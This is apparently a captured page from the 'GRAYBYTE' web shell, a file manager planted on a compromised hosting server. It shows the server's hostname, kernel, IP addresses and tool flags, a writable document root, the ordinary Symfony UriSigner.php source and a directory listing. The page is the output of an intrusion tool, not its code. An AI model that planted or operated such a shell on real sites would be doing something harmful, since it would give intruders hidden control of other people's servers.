✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.224
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/php55/usr/share/pear/Symfony/Component/HttpKernel//UriSigner.php
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel;

/**
 * Signs URIs.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class UriSigner
{
    private $secret;

    /**
     * Constructor.
     *
     * @param string $secret A secret
     */
    public function __construct($secret)
    {
        $this->secret = $secret;
    }

    /**
     * Signs a URI.
     *
     * The given URI is signed by adding a _hash query string parameter
     * which value depends on the URI and the secret.
     *
     * @param string $uri A URI to sign
     *
     * @return string The signed URI
     */
    public function sign($uri)
    {
        return $uri.(false === (strpos($uri, '?')) ? '?' : '&').'_hash='.$this->computeHash($uri);
    }

    /**
     * Checks that a URI contains the correct hash.
     *
     * The _hash query string parameter must be the last one
     * (as it is generated that way by the sign() method, it should
     * never be a problem).
     *
     * @param string $uri A signed URI
     *
     * @return Boolean True if the URI is signed correctly, false otherwise
     */
    public function check($uri)
    {
        if (!preg_match('/^(.*)(?:\?|&)_hash=(.+?)$/', $uri, $matches)) {
            return false;
        }

        return $this->computeHash($matches[1]) === $matches[2];
    }

    private function computeHash($uri)
    {
        return urlencode(base64_encode(hash_hmac('sha256', $uri, $this->secret, true)));
    }
}


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
3 Mar 2024 10.54 PM
root / root
0755
Bundle
--
3 Mar 2024 10.54 PM
root / root
0755
CacheClearer
--
3 Mar 2024 10.54 PM
root / root
0755
CacheWarmer
--
3 Mar 2024 10.54 PM
root / root
0755
Config
--
3 Mar 2024 10.54 PM
root / root
0755
Controller
--
3 Mar 2024 10.54 PM
root / root
0755
DataCollector
--
3 Mar 2024 10.54 PM
root / root
0755
Debug
--
3 Mar 2024 10.54 PM
root / root
0755
DependencyInjection
--
3 Mar 2024 10.54 PM
root / root
0755
Event
--
3 Mar 2024 10.54 PM
root / root
0755
EventListener
--
3 Mar 2024 10.54 PM
root / root
0755
Exception
--
3 Mar 2024 10.54 PM
root / root
0755
Fragment
--
3 Mar 2024 10.54 PM
root / root
0755
HttpCache
--
3 Mar 2024 10.54 PM
root / root
0755
Log
--
3 Mar 2024 10.54 PM
root / root
0755
Profiler
--
3 Mar 2024 10.54 PM
root / root
0755
Client.php
6.818 KB
18 Dec 2019 11.24 AM
root / root
0644
HttpKernel.php
9.007 KB
18 Dec 2019 11.24 AM
root / root
0644
HttpKernelInterface.php
1.313 KB
18 Dec 2019 11.24 AM
root / root
0644
Kernel.php
23.184 KB
18 Dec 2019 11.24 AM
root / root
0644
KernelEvents.php
3.112 KB
18 Dec 2019 11.24 AM
root / root
0644
KernelInterface.php
4.935 KB
18 Dec 2019 11.24 AM
root / root
0644
TerminableInterface.php
1.027 KB
18 Dec 2019 11.24 AM
root / root
0644
UriSigner.php
1.648 KB
18 Dec 2019 11.24 AM
root / root
0644
autoloader.php
0.332 KB
18 Dec 2019 11.24 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF